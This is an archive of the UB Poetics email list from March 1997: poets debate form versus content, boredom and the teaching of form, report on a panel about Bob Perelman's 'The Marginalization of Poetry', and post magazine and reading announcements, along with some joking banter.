Having eavesdropped on this thread for a few weeks, I'd like to offer the following: Forms form; form forms--by accretion, by direction, by cascade & interruption [as in embryo: "Eternity is no match for the zygote," Bob Hogg said]. A feedback loop. Freud pointed, in "The Antithetical Sense of Primary Words," to bifurcations, e.g., host/hostile. When not content with the inn's content, host turns bouncer. Otherwise, why reject unsuccessful poems? If only because of their content, change the content. But the form-- extensive from (or at least throughout) and superordinate to content-- resists change more intractably. Otherwise, the inn would assimilate the surly and disruptive guest [losing its form as inn in the process and becoming--what? A drunk tank?]. Not that, on occasion, a gatecrasher can't liven up a party, but until that determination becomes clear, the party metamorphoses from party to polygraph, then either ejects or welcomes the uninvited, then reforms itself as party. If the gatecrasher becomes a guest, the imminent becomes immanent. In his triadic theory of the Parasite, Michel Serres argues the necessity, for communication, of both the presence of the static by which the parasite seeks to disrupt communication between two interlocutors and the need for the interlocutors

continually [continuously?] to resist the intrusion, allying themselves to allay the threat. When they stop resisting, communication ends. Does form, parasitizing contents, unify them? Do contents, resisting the imposition, form alliances? "One man's ceiing is another man's floor." Don't you hate it when people finish your sentences for you? Don't you love it when, if they seem about to, you reorient the sentence, leaving them (and yourself) somewhere different from and better than either of your expected or intended destinations? "Because the whole sentence meaning is inherently present in the mind of each person, it is quite possible for the pratibha of the sphota to be grasped by the listener even before the whole sentence has been uttered." --Harold G. Coward, The Sphota Theory of Language. "Farewell, then, Reader, from Montaigne."

Daniel Zimmerman
485 Parsonage Road
Edison, NJ 08837

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658. Steve Carll

Antenym 12 publication and April readings

Mon 24 Mar 1997

(Apologies to anyone who gets this message more than once)

announcing the imminent publication of Antenym 12 Pluto in Sagittarius, Sun and Co. in Aries, 1997 (that s April) featuring work from George Albon (San Francisco), David Baratier (Columbus, OH), Steve Carll (San Francisco), Stephen Collis (Victoria, B.C.), Jordan Davis (New York City), Darin De Stefano (San Francisco), William Fuller (Winnetka, IL), Robert Hale (San Francisco), Jonathan Hayes (Berkeley, CA), John High (San Francisco), John Lowther (Atlanta, GA), William Marsh (San Diego, CA), Fernando Pessoa as Ricardo Reis (Lisbon, Portugal 1888-1935) translated by Chris Daniels (Berkeley, CA), Mark Peters (Cheektowaga, NY), Larry Price (Summit, NJ), Meredith Quartermain (Vancouver, B.C.), Stephen Ratcliffe (Bolinas, CA), Elizabeth Robinson (Berkeley, CA), Douglas Rothschild (Brooklyn, NY), Spencer Selby (San Francisco), and Rod Smith (Washington, D.C.)

Three dollars (plus $1.50 postage per copy). Published three times annually by Bathysphere Press. Ed. Steve Carll. Please address all correspondence to 106 Fair Oaks St. #3, San Francisco, CA 94110-2951, or e-mail: <[redacted]> Subscription rate: $13.50 per year (includes postage; checks payable to Steve Carll). All rights revert to authors upon publication. Also available in the S.F. Bay Area at City Lights, Modern Times, and Cody s Bookstores. Back issues

available by e-mail; samples may be viewed at <http:// writing.upenn.edu/epc/ ezines/antenym> & <http://writing.upenn.edu/epc/ mags/antenym>

Issue 12 will be celebrated with a reading mini-series to take place on Saturdays at 1:00 pm in the Redwood Trail area of Strybing Arboretum in Golden Gate Park in San Francisco, if it s not rainy or cold.

April 5: Darin De Stefano, Elizabeth Robinson, Chris Daniels April 12: George Albon, Robert Hale, Douglas Powell

Enter the Park at 9th Ave. and Lincoln Ave. Turn left at the gate just past the County Fair Building into Strybing Arboretum. Continue walking straight, bearing to the left of the fountain, through the "Asia" and "California" environments of the arboretum, and bearing right past the nursery buildings to the Redwood Trail. Enter the Redwood Trail and look for markers #17, 18 and 19. There's a little enclosed clearing there with benches and a podium. This is where the reading is.

A donation of $2.00 will be requested. Come out for some fresh air, sunshine, and poetic meditations!

Bathysphere Press
"It's Deep!"

Antenym, a xeroxed 8 and a half by 11 stapled magazine, invites submissions of poetry, fiction, critical and/or philosophical essays, visual art, and other varieties of work on the theme "Ontological Activism and its possibilities" to which issue #13 of the magazine will be dedicated. Submissions may be emailed to <[redacted]> or analog-mailed to Steve Carll at 106 Fair Oaks St. #3, San Francisco, CA 94110-2951, with an SASE for reply (and return of mss. if desired). Deadline is June 15, 1997.

On Ontological Activism:

It's often pointed to as the oldest and most fundamental complex of questions to occur in human consciousness: "Who am I, and what am I doing here?" Questions of this type, along with the resources needed to ask them and give them adequate reflection, are increasingly proscribed by the conditions currently structuring much of our daily experience, which ultimately threatens that human consciousness that makes such questioning possible and even necessary.

The phrase "ontological activism" announces itself as the public asking of the questions of being, transforming the individual "who am I?" through reintegration with the communal--"who are we?" in such a way that the opening up of personal perspectives may continually transform the communal as well,

by offering examples of investigative strategies. In this way, the question becomes, "Do we as human beings wish to continue being, and if so, how?"

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659. **Mark Weiss**
Re: Jung Kwang
Mon 24 Mar 1997

My god (goddess)! What do women paint with?

Which raises a couple more questions abt Master Kwang:

Does he do nudes?

Is his stroke different erect or flaccid?

At 02:45 PM 3/24/97 -0500, you wrote:
>Mark, do you mean to tell me that *all* male artists don't paint this way?
>
>Gwyn ;)
>
>

↑ Index

660. **F.A. Templeton**
Re: howard mccord
Mon 24 Mar 1997

Dear Louis,

Examples?

Fiona

↑ Index

661. **F.A. Templeton**
Re: Marginalization
Mon 24 Mar 1997

On Sun, 23 Mar 1997 [redacted] wrote:

> *Dear Listees,*
>
> *Has the Segue space discussion of Perelman's Marginalization of Poetry happened yet? If so, I'd like read an account of it. Anybody else?*

Yes, please, centralize.

Fiona

↑ Index

662. William Burmeister Prod
Re: boredom, poetry, questions
Mon 24 Mar 1997

> *Didn't John Cage say, if something is boring, keep going for half an hour; if it's still boring, keep going for an hour?*

...and if you keep at it, it will no longer be boring to you. I think that Gertrude Stein had a good handle on this. Reading Stein may force one to have to redefine one's own definition of boredom.

> *i thinkk boredom is like depression, a cover up for something else, like anger or loneliness. nothing is inherently boring, so the gaze should go inward to find out why. so if a poem is boring to you it can still teach you stuff, if only more about your own desires. i like this thread of theorizing boredom, it seems far more fruitful than the old form/content treadmill.--md*

Wonderful and insightful comments from md. I found that boredom (as opposed to entertaining) was most often an excuse on my part. When that feeling occurs, I go back to reread the poem with renewed vigor since I may actually be missing something. In this negatively capable manner, I have been able to expand my own interests to include poets that I never considered before.

BB

↑ Index

663. Hugh Steinberg
Re: boredom, poetry, questions
Mon 24 Mar 1997

About eight years ago I used to hang on the periphery of this group of writers who published under the name of Apathy Press (I still have their t-shirt, which consists of an anatomically acurate brain with swans' wings attached). Anyhow, the origin of the name of the press, according to Tom DiVenti, was the idea that it is only out of a state of apathy can anything start.

Boredom strikes me as a particularly negative energy source, much like a black hole or drug addiction. The trick is to come close enough so that you slingshot out into something fresh. The risk is that you fall in, perhaps forever.

Personally, I find I have more than enough boredom at my job that I need to seek out other experiences to bore me as well. It's not like boredom is ever a scarce commodity.

Hugh Steinberg

↑ Index

664. David Bromige

what am I doing wrong? in response to the attached, i wrote to "[redacted]", only to be told that I ought to write to "[redacted]" ! how many times do I have to go around this corner, please?

Mon 24 Mar 1997

> *Date: Mon, 24 Mar 1997 21:11:09 -0500*
> *From: "L-Soft list server at University at Buffalo (1.8c)"*
> *<[redacted]>*
> *Subject: Output of your job "dcmb"*
> *To: David Bromige <[redacted]>*
>
> *join [redacted] david bromige*
> *There is no LISTSERV server at LISTSERV. The syntax of LISTSERV commands does not usually require you to give the name of the site where the list is located. You may want to try again with just the name of the list (POETICS).*
>
> *Summary of resource utilization*
> *----------*
> *CPU time: 0.010 sec*
> *Overhead CPU: 0.000 sec*
> *CPU model: SPARCstation-20 (384M)*

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665. Hugh Steinberg

Re: boredom, poetry, questions

Mon 24 Mar 1997

It also strikes me that this discussion of boredom is linked with either flight or transformation: either one runs from what is boring towards what is not boring, or one sticks with what is boring until it is no longer boring.

>> Didn't John Cage say, if something is boring, keep going for
>> half an hour; if it's still boring, keep going for an hour?
>
>
>...and if you keep at it, it will no longer be boring to you. I think that
>Gertrude Stein had a good handle on this. Reading Stein may force one to have
>to redefine one's own definition of boredom.
>
>

What if it's boring for years? What if it will always be boring? When is it time to quit? After you receive the gold watch?

I guess I have an impatience with boredom.

Hugh Steinberg

↑ Index

666. **CHRIS MANN**
Re: Marginalization
Mon 24 Mar 1997

Existentialism and the bad picnic

After 'The Marginalization of Poetry, An Evening of responses to Bob Perelman's recent book from Princeton University Press' I was asked by one of the respondents what question I would like to have asked. I thought later that it would have been something along the lines of whether the panel and discussion would have been any differently constituted if the work being dealt with had been a poem. This I sent as an observation to someone who replied 'But some of the work in that book IS poetry...'

around and about marginalia:

Identity politics is only and inevitably ironic*.

Yes, fault was found in the work's not being something else** (evidenced by the author's polite stammering, an eloquent mea cupla so long as you didn't pay attention to the words), however the discussion was generally overshadowed by the I-know-coz-I-was-there school of inanity represented (and I use the word advisedly) by the academic trope of 'about'. 'Aboutness' was evidently the topic under discussion. However 'aboutness' has no logical intersection with change. It is a decorative form of identity which yields to description and is indulgently pathetic. And as to the politics of ancestor snatching (semantics), we already knew that it's easier to be embarrassed by our friends - enemies at least have the moral integrity of not being right for the wrong reasons. They at least have no confusion of form and content, no 'about'. And no blame. They at least are blessed with the possibility (decadence) of changing they're minds.

* It in no way requires a me to be understood. In it, I has the exclusively romantic status of a victim.

** 'I am' is the blessing of stupidity - write your own fucking book.

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667. **Dave Zauhar**
Re: dichotomous/Bk of Forms (Turco)
Mon 24 Mar 1997

> *At 11:11 PM -0500 3/23/97, henry wrote:*
> *I'm using the old Turco, thin red, which is heavy on obscure Welsh forms.*
> *Just finished a Portuguese riff, the "glose". Like an enlarged carol.*
> *- HG*
>
> *i was on a panel w/ turco a few yrs ago, i talked about jack spicer and*
> *camp as subaltern wit; he looked mortified (bright red apoplectic furious)*
> *to be on a panel where someone was talking about queers, later he said that*
> *women were taking jobs away from men in the academy these days (a bit like*
> *our recent discussion about "identity politics"?) ...that was my intro to*
> *the "new formalism." hank, i respect and enjoy your eclecticism in matters*
> *poetic, but turco? nein danke.*

Hey, I was in the audience for this (was it MMLA or MLA? Chicago or Washington? Anyway) if I remember correctly Diane Wakowski was the third panelist, and she also apparently got on his nerves, because within a year he published a hissy-fit disguised as an essay attacking her views on the politics of form (which are open to criticism, but you could tell by the ferocity of his "essay" that she got under his skin). Mercifully, I missed the wounded white guy screed.

Dave Zauhar

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668. **Louis Cabri**
John Wieners (fwd)
Mon 24 Mar 1997

This for the list, from Victor Coleman in Toronto:

> *Although I never actually published Wieners, I*
> *almost did, and I had a fairly long association with him, beginning with a*
> *meeting in Detroit (of wch I have a snapshot [as does UCSD Library Spec.*
> *Coll.]), and continuing in Buffalo when he was a (grad?) student there at*
> *the behest of Olson & Creeley.My soon to be 2nd wife, Sarah Miller & I*
> *acted as kind of "care-givers" to John in various stages of need and tried*
> *to salve his general paranoia as best we could. I also hung out a fair*
> *amount with John & Bill Hutton when Billy was running Billy Zeigfeld's*
> *Heaven, wch is mentioned in my 'first' book "one/eye/love" (also in*
> *CORRECTIONS) KENKYUSHA: Day 22 -- "John is on the bed/with Billy*
> *Holiday/humming her melody". At one point Island Press was going to reprint*
> *all of the extant issues of MEASURE; but John held it up with the intent of*
> *doing a 'last' issue, wch I think had something to do with Charles Boer's*
> *translations of the Homeric Hymns, wch eventually came out in 1970 & was*

> *reprinted as recently as 1987--but Wieners was looking for it in 1965. John came to Toronto, I think in 1977, with Charlie Shively, to read at A Space when I was running it, and we had a good visit then. I can remember sitting with Ron Caplan at the Coach House lunchtable on Bathurst Street in 1966 and impressing Stan Bevington w/ both of us writing down the name of the writer we were most excited about at that time, just to see if we really had something in common. Wieners it was. So yes he was a huge influence on me. I haven't seen him since then & am glad he's still alive.*
>
> *Victor*
>
> *Coach House Books is Canada's oldest (and newest) small press. Visit our website at http://www.chbooks.com - bookmark it because it changes practically everyday. To get in touch with us otherwise... 401 Huron Street (rear) on bpNichol Lane, Toronto, Ontario, M5S 2G5*
> *fax:* [redacted] *email:* [redacted] *phone:* [redacted] *or*
> *outside the Toronto calling area* [redacted]

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669. **clare emily clifford**
confidence, fire, birth.....
Mon 24 Mar 1997

---

dean f.tacuich <[redacted]> said:
>True, but as one who teaches Undergraduate Creative Writing courses, and
>who doesn't spend much time on sonnets and the like, I find that it is not
>only easier but more useful to talk about matters of form than to discuss
>"content"--the latter discussion often breaks down into "What did you mean
>here?" (which then turns into the even less productive "What _I_ was
>trying to say here. . .")
>
>True, this retreat to easy questions and answers can happen with formal
>discussions, too, it's not nearly as often. By form, since I'm not a
>"formalist," I take to be the actual use of the words--I concentrate on
>sound patterns (though I discourage end rhyme since its just too easy to write
>simplistically in that mode) and heavily on lineation. I ask them to
>justify each line break (a task I wonder if I myself could perform
>convincingly). So the questions from the class are more along the lines
>of "why did you do this _here_?" rather than "why'd you say that?" At
>least that's what I hope for. Often, just to get a discussion of form
>going in a beginning writing class is a victory.

and catherine paul <[redacted]> said:
>I, too, had undergrad creative writing profs who emphasized form at the
>expense of content, but their reason, and as I get older I agree (read:
>become more stodgey?), was that the purpose of such a class was to teach
>tools so that when we finally had something to say, those tools would be
>at our disposal--very much like piano lessons, indeed.

the hardest part, when working
with budding writers, is initially to instill the
confidence in them that what they have
to say is worthwhile. doesn't the molding
of the craft _then_ come after? i mean...
with dedication comes the venturing to explore
different forms and styles which will best
bestow the voice with a resonant clarity,
but the first step,
i think, is the initiation of breathing
into those words, and then with the
discipline of form and texture of language
comes the compression and necessity of
each aspect of the piece (ie: why _this_ word,
does _this_ form best illustrate the sanctity of
the piece as a whole?)

working with a jorie graham-esque aspect of
language (the invisible stitches being just as
essential to the working whole as the stitches
that you can see), and as the students engage not only in
the exploration of their own writing, but the
analytical study of other poets, they can decipher
the methodology which best suits the content of their piece.

the words on the page are just as essential
as the precise placement of the white space
that remains _around_ those words. they all
work as a whole to bring the language to life.
call this all form, if you will.

basically what i think a lot of this comes down to,
is that with experience you begin to utilize
the tools of your trade. intro creative writing poetry
courses are the most intimidating place for the
little freshman/sophomore undergraduate to
be when they're still struggling with the intimacy

of their writing. the crafting comes with experience.
that's when the tools (ie: more confining forms,
more confining topics, etc) will become generative
for them.

jordan davis <[redacted]>
>When my students report that they're bored, I decode this as meaning that I
>haven't made the project at hand available to them.

its' all about illuminating that spark and
letting it start a brush fire in their minds, eh?

but isn't that what teaching is supposed to be about?

which leads us to henry's statement of:

henry <[redacted]>
> Experiment, to some degree, MEANS
>autonomy or liberation from these traditional forms, studied (are they
>still?) in academia, read by old fogies, trudged through in formalist

how many classes teach traditional form in
present day academia?

wow. think about that one. do any of you
offer classes that focus on the specialized use of
what some would call more 'traditional' form?
i think that this would be wonderful in aiding
many students today.... kids are _screaming_ for
opportunities to mold their craft... they're
doing excersizes on their own in writing
cantos, sestinas, villanella's, etc,
if only to _impose_ a form upon themselves
in order to explore the boundaries of language
and see what is hiding
in the 'narrw diary of [their] mind' (sexton).

but what it comes down to, is that if they're
doing this work on their own, they are
obviously starving for the opportunity
to engage in this 'mental foreplay' in a
classroom setting. they're raging on
challenges. we can't underestimate their passion.

Hugh Steinberg <[redacted]> said:
>Boredom strikes me as a particularly negative energy source, much like a
>black hole or drug addiction. The trick is to come close enough so that

>you slingshot out into something fresh. The risk is that you fall in,
>perhaps forever.

in 'education of the poet'
 louise gluck said,
"Periodically, in those seven years
 [of psychotherapy], I'd turn
 to my doctor
with the old accusation:
 he'd make me so well, so whole,
 I'd never write again.
 Finally he silenced me;
the world, he told me, will give you sorrow enough,"

therecan be something generative hiding in
that darkness. and i do agree that it
can slide destructively out of hand....
one great book on this topic is
a. alvarez' 'the savage god'...

just a little babble from my
corner....

love and light,
clare emily

'the artist is extremely lucky who is presented
with the worst possible ordeal which would not actually kill him...
at that point he's in business...' -john berryman

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670. David Bromige
derusticating
Tue 25 Mar 1997

David Bromige here, I'm back on the list, so careful what you are seen saying about me if anybody does. Apart from George.

I understand Bowering has for the third time renounced his good work in _Piccolo Mondo_ . How about if I post some bits of George's chapters, and let listmembers gauge whether my parodic powers could possibly reach that far?

Guage??

Gauage???

Gauauge????

Looking forward to spelling with you-all for a spell.

db

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671. aerialedge
A New Circle -- April 4 & 5 NYC
Tue 25 Mar 1997

A New Circle: Communities of Poetry 1997

April 4th & 5th
2 Days of Readings & Open Discussion

All events at Ireland House, One Washington Mews
(entrance on 5th ave. south of 8th st.)

Friday, April 4th

6:00-7:00 p.m.
Opening Reception/Book Sales

7:00-9:00 Readings:
Ruth Danon
Michael Heller
Erica Hunt
Pierre Joris
Andrew Levy
Maureen Seaton
Rod Smith

Saturday April 5th

11 am -- 12:30 pm Panel 1:
Ruth Danon
Ben Friedlander
Michael Heller
Andrew Levy
Maureen Seaton
Rod Smith
Karen Volkman

12:30 -- 2:00 pm Panel 2:
Stacy Doris
Rob Fitterman
Erica Hunt
Pierre Joris
Hermine Meinhard

Hugh Seidman
Paul Violi

2:00 -- 5:00 pm Lunch Break

5:00 -- 6:00 Reception/Book Sales

6:00 -- 8:00 Readings:
Stacy Doris
Rob Fitterman
Ben Friedlander
Hermine Meinhard
Hugh Seidman
Paul Violi
Karen Volkman

Sponsered by New York University and SCE Writer's Community.
Organized by Ruth Danon & Rob Fitterman.
With thanks to Deans Gerald A. Heeger, Steve Curry, and Bill Cipolla.

It's free.

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672. Franklin Bruno
four melismas
Tue 25 Mar 1997

---

1) Clare Emily Clifford wrote:

> *working with a jorie graham-esque aspect of language (the invisible stitches being just as essential to the working whole as the stitches that you can see)...*

Not that familiar w/ Graham's work, but this notion sounds a lot like something I contended about music in something I just wrote. (What's important to me is that the invisible stiches are, in fact, still stiches.) Where would I find Graham discussing this?

2) Someone mentioned a few days ago that 'a consensus' seemed to be forming around the form/content discussion, to the general effect that they're inextricable from one another. But isn't this where we started? And, though I understand the -form- of the consensus, I don't think I've quite gotten its -content-. Someone else said that this listserv was a form, and rhetorically asked if it had a content separable from it. Well, if not, then this list has the same content as, say, the white-power-music list that has been mentioned (as something to vote against the existence of, though I'm not clear on the details). This seems an odd conclusion. "I love the Mets," "I hate the Mets," and "I misuse the olive

fork" all have the same grammatical form, but might be said in -some- sense to have different contents. Now that sounds like the kind of banality John Searle might perpetrate, but I'd like to know -specifically- how we are to go beyond it. Is the sense in which these have the same (I'd just say similar--nothing's ever the same) content just the sense in which they all make certain assumptions about the relation of subject to object? What else can be said? (I'm not being rhetorical -at all- here, I want to know what people will say--and I realize that I'm treating the sentences above as linguistic abstractions, divorced from any particular utterance or use, as in a poem. Still...)

3) Recent discussions about teaching form boil down, for me, to this question: Why couldn't "Write a sonnet in strict iambic pentameter" be an entry on Bernadette Mayer's or Charles Bernstein's experiments lists? I think the answer has to do w/ breaking the hold of the cultural capital such forms possess. At Pomona College, the main creative writing teacher was Robert Mezey, the ex-"Naked Poetry" editor who recanted at became, at least when I encountered him, an arch-formalist. I remember being in a workshop with a talented student who gave him a sestina that the student had, I gathered, worked over a number of times. The gist of his comments was something like, "It's getting there, but it's not there yet." To me, this is an indicator of how -mystified- (in something like the John Berger sense) the Unity-of-Form-and-Content can be for a certain sort of teacher. All Mezey seemed to be saying was: Go back and revise and revise this until it is 'perfected' according to some standard that does not admit of analysis, but can only be apprehended by pure artistic intuition. Then, my son, you'll be a poet. In a word, feh. (Jed Rasula was a visiting prof my senior year, and that loosened things up a bit.)

4) Could Maria (or anyone) tell me where to look for info on Sun Ra's gayness? I've never encountered this in print, even (unless I've forgotten) in John Corbett's excellent -Extended Play-, which has a great chapter on alien-ness in Sun Ra and George Clinton.

5) This was from a few days ago, but: Plato would be surprised to learn that the medievals invented the difference between words and things. (I'd like to be quoting the -Cratylus- in this regard, but I don't have a copy here.)

heterogenously,
fjb

↑ Index

673. **Chris Stroffolino**

THEY WANNA COVER US WITH MARGARINE(alization)

Tue 25 Mar 1997

Dear to whom it may concern:

Although I've been suspicious about what "call" it is that I am exactly responding to, I will try to "suspend" (or at least diffuse) such suspicions and try to address some of what for me seemed the issues that were (and were not discussed) at the MARGINALIZATION event.....

Perhaps the best place to begin would be at the "ending...." (in real time) The last question asked at the event was by Jackson Maclow (who, earlier that day, had given one of the best readings I'd seen him give--despite that damn ear inn perennial p.a. problem), and it was a question that, had it been asked earlier, may have changed the whole discussion. It was something to the effect of---(warning: all following 'quotes' are paraphrases and if I misrepresent anyone PLEASE let me know) "I came here thinking that this was going to be a talk about THE MARGINALIZATION OF POETRY, and it turned out it was a talk about a particular book called "The Marginalization of Poetry" and...." Jackson apologized for his ignorance and naivete, on a "face value" level, but also addressed, although in his rather childlike zen-master way, a question that in some ways was "very near the surface (or the heart)" of what seemed to be Silliman's challenge (which I'll address shortly) to Perelman's project here. The question, for me, and that seemed to get lost in the discussion that night, might be phrased in terms of Steve Carll's "ontological activism" (why am I here? etc or how do do we position ourselves viz-a-viz certain questions). Marginalization is a LOADED term and perhaps (as Steve Evans and others pointed out) a cliche by now--and its meaning (like the "sublime object") depends on its context, and WHAT WAS the context of the event? Was there a context? Can there be a context? Maybe it hasn't been constructed yet and of course *I* can not construct it here, but only in questoning....

Jackson's question elicited from Bob the response and REMINDER that the book's title grew out of the essay/poem (or whatever you wanna call it) that he wrote for a very specifically academic context in response to a call for papers from Marjorie Perloff (see book for details). Had this REMINDER been made at the beginning of the event, I think the discussion would have gone quite differently. For, IN ACADEMIC DISCOURSE (as Jonathon Levin and others), and in English Departments, poetry is marginalized viz-a-viz novels, cultural studies, etc (again, take a look at the latest MLA call for papers, etc.) in a way it might not have been in previous eras (I'm not going to get into that one here though....). Marginalized in general, and there is perhaps a desire amongst poets who work in the academy to DEFEND poetry against such a status (there is even a desire, for understandable reasons, of teachers of poetry to do so)--this is perhaps as true of champions of "the western canon" as much as it is of champions of "language" or "new york school" etc. etc. writing

Yet, when we take Perelman's book OUT of this particular context, and bring it to the SEGUE space, suddenly it becomes a DIFFERENT book. Suddenly we see

a Professor at an Ivy League school on the defensive because the audience (and perhaps the fellow panellists) was mostly people who see themselves as MORE MARGINALIZED than Perelman as poets, and one could imagine the satiric scenario depicted in Kenneth Koch's "FRESH AIR" being updated, and instead of the "you make me sick with your talk of swans and candy hearts" etc of that poem, there was "Free Bob Perelman" stickers and whispers in the wings of him, from both the linguistic left (as a native informer), the social left (as an unmarginalized white middle-to-upper class male) (which may be seen as a "linguistic right" though I that's why I objected to what I saw as Marjorie's distinction a few weeks back although I certainly agree that poems that CAN'T STAND UP AMONG REPEATED READINGS are 99% of the time boring and dull) and others. The point I'm trying to centralize here is that, as far as I could tell, THERE WASN'T ANYBODY MORE ACADEMIC THAN BOB in the audience (or on the panel) and this certainly informed the tone of the event and seemed to ironize the book and at least its title in ways that could have been made clearer BEFORE Jackson's pointed question. Ron Silliman's paper (which began the event, after a pointed introduction by moderator Sean Killian in which he lamented the lack of intellectual forums in NYC and hoped this event would begin to change what he perceives as the rather anti-intellectual bent of the "downtown" NYC poetry scene and after a recital of the poem by Bob about being abducted by (academic?) aliens he posted to this list) did seem to make many of these points about Bob's book as he pointed out that it was primarily addressed TO ACADEMICS rather than to poets and considered that the primary FAULT of the book---that the distortions of the kind of NORMATIVE ACADEMIC DISCOURSE Bp is working in here simply CAN NOT do justice to what, for ROn, is the most exciting and interesting strains and achievements of LP (Hannah Weiner and Bob Grenier) and centered on BP's reading of Grenier as an example of this method. Ron made a conceptual distinction between "critical" and "academic" writing (as if the latter is always already more corrupted) and found Bob's attempt to create a NARRATIVE for Grenier's poetry as well as for his PLACE in "poetry" (canon, etc.) deeply disturbing, as if narratve is always more corrupt than poetry that "is not ABOUT" or "about the nanosecond before choice itself occurs" (and as I digression I wonder about what the implications of Ron's seeming preference of Grenier's project to Bob's--especially considering Ron's problems with the "Burning Deck" or "French minimalism" thing, which to me seems to have much more in common with Grenier than it does with Perelman in terms of this "nanosecond" standard Ron is setting...but this is another topic) Ann Lauterbach took a different tactic. Not needing to SPEAK FOR THE HEART AND SOUL of LANGUAGE POETRY as Ron's argument with Bob seemed to, she dealt more with what she perceived as Bob's ghettoization of emotions and the personal. One of the high moments of her talk in this connection was her reading of Bob's reading of a Creeley poem aout him

having sex with another woman as his wife drives the kids to school or something. I think she did a very interesting job of pointing out an aporetic hedging on Bp's part as he tried to disclaim the importance of content in a writer who write "form is nothing but an extention....". She also addressed some gender questions--for instance, why THEORISTS are gendered male and PRACTICTIONERS are gendered female in this book. Of course, Lauterbach concluded, PRACTICE subsumes theory, and BP was not necessarily claiming a hierarchical privilege of one over the other--but, then, he doesn't really devote that much page space to the women writers he addresses and that might be telling (again, this may be a severe misrepresentation of the thrust of Lauterbach's paper)....

This is going on too long (I think I understand Joe Amato).... but Juliana SPahr was next and spoke about what she perceived as Bob's COASTAL bias, and (as if NEW YORK is the NEW COAST) focussed on what for me seemed to be a defense of Bruce A. and Charles B. against what she perceived as Perelman's neglect. She claimed that, in contrast to BP's assertion, that these writers CAN be taught... Then Steve Evans did a long and funny (and almost dada-like) performance of a reading of a Bunuel movie, and claimed to have DIRECT EVIDENCE of how academia dulls people and used some VERY interesting DOWNSTREAM metaphor in which I would like to cast myself as the missing SALMON swimming upstream.... But, all these discussions (and most of the Q and A session afterwards) stayed within the confines of the agenda the book set up. In the Q and A session, bp was primarily on the defensive, as i said before. It would have been interesting had THE MARGINALIZATION oF POETRY (the issue as much as the book) in SOCIETY as well as in the academy had been addressed...It would have been at least interesting not to single out Bob but to ask what role the L poets have played in marginalizing poetry? Did they willfully marginalize it? (with their own networks of publishing and not needing to make certain compromises in the beginning that other, perhaps pooer (economically speaking) poets, must, at least at the beginning? And in this light, can this vindicate Bob for at least trying to break out of a small, perhaps too self-satisfied coterie, and fight certain academic battles? Or is poetry marginalized through no fault of poets? Is it one of the exigencies of heavy "LITE CAPITALISM" (who said that?) that poets are helpless against, and in such a light are the strategies the L poets adopted (I'm talking about "circulation of texts" as much as the actual writing of them) seen as at least NOT making matters worse in the increasing rifts and poetry wars? Or has poetry ALWAYS been marginalized and is it perhaps okay that it is best so? (always best so, or at least sometimes, as in Evans' quoting Auden's "poetry makes nothing happen" and stressing the positive side of such a formulation--as if this "nothing" is kind of like Silliman's "nanosecond before choice is made" and CLASS IS SUSPENDED)? These questions, as well

as why are so many poets deciding to go back to school later in life (not just bob, but myself and Ben Friedlander come to mind)--after already publishing at least one book, are interesting questions, as are the questions of the workplace and race and class that were attempted to be discussed in the Q and A session.....(hope this helps Chris Stroffolino

↑ Index

674. **Chris Stroffolino**
In Other News....
Tue 25 Mar 1997

Just wanted to say that earlier this month I saw
readings by Thomas Sayers Ellis and Tom Breydenbach (sic)
in NYC. Both excellant writers circa 30 years old and both
excellant readings. Names to look out for,
as is Joe Ross, whose FUZZY LOGIC SERIES has just been been published by Texture Press). I consider it to be one of his best
(along with GUARDS OF THE HEART), though I may be biased, because the work
does seem EXTREMELY similar to some of my own....(mordantly recursive?) and
Jordan, I will respond to your post soon, for which I thank you, but I don't want to HOG up too much space in one day on the listserv.....Chris

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675. **KENT JOHNSON**
bp/bob
Tue 25 Mar 1997

Chris:

In your fantaastic long post (which I have to still go back to digest), you refer to Bob Perleman as "bp." May I ask that you don't do so any more? This confuses him with a poet that I suspect Bob Perelman would agree is bound to be (if justice is to be done) of more historical import than he: bp nichol. Let's keep bp as bp and Bob Perleman as Bob Perleman, or Ivy Bob, or just Bob P., or whatever.

thanks, Kent

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676. **KENT JOHNSON**

Re: Jung Kwang

Tue 25 Mar 1997

> *Date sent: Mon, 24 Mar 1997 11:21:00 -0800*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Mark Weiss <[redacted]>*
> *Subject: Re: Jung Kwang*
> *To: [redacted]*

On 24 March, Mark Weiss wrote in rerference to my post on Jung Kwang, a Korean monk, who paints beautiful works with a brush attached with the hairs of deceased relatives to his penis:

> *This technique should be a real advantage in doing watercolors.*
>
> *Do you think there are gender connotations here?*

Geez, Mark, I'm not sure. Why don't you ask the Zen teacher closest to you?

Kent

↑ Index

677. **hen**

Re: THEY WANNA COVER US WITH MARGARINE(alization)

Tue 25 Mar 1997

---

thanks Chris for the thorough report from the frontlines of Edg.Po. Some off-the-cuff widgets:

1. WHO WILL ARISE and write the good definitive popular academic book about me & my poetry friends and tell it like it is? Back, sharks...

2. If poetry has circled the wagons & has only academics left to handle the winchesters... well, I wouldn't bet on it. Hey, they care. Take care. Let's think about it. Baby sharks have mothers too.

3. Maybe part of the problem - maybe this is what Mac Low was getting at? Is the draining struggle to approach poetry as if it were a political campaign or a community organization? WHO SPEAKS FOR US TODAY? HERE!! READ THIS PROSE POEM!! (It's easy to criticize from the easy critical chair though... I'm a member of the ECC organization (Easy Critics Club))

- Henry Gould (Old Fumblist)

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678. **KENT JOHNSON**
Re: Jung Kwang
Tue 25 Mar 1997

> *Date sent: Mon, 24 Mar 1997 15:21:31 EST*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: [redacted]*
> *Subject: Re: Jung Kwang*
> *To: [redacted]*
>
> *The prosthetic aesthetic.*
>
> *beth simon*

As in a pencil or pen or typewriter or computer attached to our "aesthetic" hands? Where does the prosthetic for you end and the aesthetic begin?

Kent

↑ Index

679. **KENT JOHNSON**
Re: Jung Kwang
Tue 25 Mar 1997

> *Date sent: Mon, 24 Mar 1997 13:53:39 -0800*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Mark Weiss <[redacted]>*
> *Subject: Re: Jung Kwang*
> *To: [redacted]*

On 24 March, Mark Weiss wrote in regard to the Korean master Jung Kwang:

> *My god (goddess)! What do women paint with?*
>
> *Which raises a couple more questions abt Master Kwang:*
>
> *Does he do nudes?*
>
> *Is his stroke different erect or flaccid?*
>
> *At 02:45 PM 3/24/97 -0500, you wrote:*
> *Mark, do you mean to tell me that *all* male artists don't paint this way?*
>
> *Gwyn ;)*

1) Actually, Mark, there is a Tibetan nun who composes traditional calligraphy with a brush inserted into her vagina. Why do you assume that this is less viable a mode of artistic composition than a man attaching a brush to his penis?

